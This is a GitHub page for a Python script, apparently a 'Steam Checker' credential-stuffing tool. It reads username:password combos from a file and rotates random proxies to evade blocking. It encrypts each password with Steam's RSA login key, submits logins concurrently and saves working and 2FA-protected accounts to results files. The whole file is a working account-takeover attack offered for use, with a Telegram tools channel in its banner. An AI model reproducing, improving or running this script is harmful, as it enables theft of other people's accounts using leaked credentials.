-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
110 lines (92 loc) · 5.1 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import os
import requests
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
import time
import random
import concurrent.futures
from loguru import logger
from colorama import Fore, Style, init
init(autoreset=True)
if not os.path.exists("results"):
os.makedirs("results")
def load_proxies():
with open("proxy.txt", "r", encoding="utf-8") as file:
proxies_list = file.readlines()
return [proxy.strip() for proxy in proxies_list]
proxies_list = load_proxies()
def process_combo(combo):
user, passw = combo.strip().split(":")
user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
while True:
s = requests.Session()
proxy = random.choice(proxies_list)
proxies = {
'http': "http://" + proxy,
'https': "http://" + proxy,
}
url = 'https://steamcommunity.com/login/getrsakey/'
values = {'username': user, 'donotcache': str(int(time.time() * 1000))}
headers = {'User-Agent': user_agent}
try:
response = s.post(url, data=values, headers=headers, proxies=proxies)
data = response.json()
if not data.get("success"):
print(f"Failed to get key for {user}")
return
mod = int(data["publickey_mod"], 16)
exp = int(data["publickey_exp"], 16)
rsa = RSA.construct((mod, exp))
cipher = PKCS1_v1_5.new(rsa)
encrypted_password = base64.b64encode(cipher.encrypt(passw.encode())).decode()
url2 = 'https://steamcommunity.com/login/dologin/'
values2 = {
'username': user,
"password": encrypted_password,
"emailauth": "",
"loginfriendlyname": "",
"captchagid": "-1",
"captcha_text": "",
"emailsteamid": "",
"rsatimestamp": data["timestamp"],
"remember_login": False,
"donotcache": str(int(time.time() * 1000)),
}
headers2 = {'User-Agent': user_agent}
response2 = s.post(url2, data=values2, headers=headers2, proxies=proxies)
data2 = response2.json()
if data2["success"] == True:
logger.success(f"Logged in successfully for [{user}] ")
with open("results/hit.txt", "a", encoding="utf-8") as hit_file:
hit_file.write(f"{user}:{passw}\n")
break
else:
if data2.get('emailauth_needed', False):
logger.warning(f"2FA BAD ACCOUNT [{user}]")
with open("results/2fa.txt", "a", encoding="utf-8") as fa_file:
fa_file.write(f"{user}:{passw}\n")
else:
logger.error(f"BAD ACCOUNT [{user}]")
break
except Exception as e:
logger.error(f"ERROR: {e}")
continue
def main():
print(Fore.MAGENTA+"""
███████╗████████╗███████╗ █████╗ ███╗ ███╗ ██████╗██╗ ██╗███████╗ ██████╗██╗ ██╗███████╗██████╗
██╔════╝╚══██╔══╝██╔════╝██╔══██╗████╗ ████║ ██╔════╝██║ ██║██╔════╝██╔════╝██║ ██╔╝██╔════╝██╔══██╗
███████╗ ██║ █████╗ ███████║██╔████╔██║ ██║ ███████║█████╗ ██║ █████╔╝ █████╗ ██████╔╝
╚════██║ ██║ ██╔══╝ ██╔══██║██║╚██╔╝██║ ██║ ██╔══██║██╔══╝ ██║ ██╔═██╗ ██╔══╝ ██╔══██╗
███████║ ██║ ███████╗██║ ██║██║ ╚═╝ ██║ ╚██████╗██║ ██║███████╗╚██████╗██║ ██╗███████╗██║ ██║
╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
--------------------------------------------------------
https://github.com/CinAlix // t.me/clownstools
"""+Style.RESET_ALL)
th = int(input(Fore.MAGENTA +"HOW MANY THREAD: "+Style.RESET_ALL))
with open("combo.txt", "r", encoding="utf-8") as file:
combos = file.readlines()
with concurrent.futures.ThreadPoolExecutor(max_workers=th) as executor:
executor.map(process_combo, combos)
if __name__ == "__main__":
main()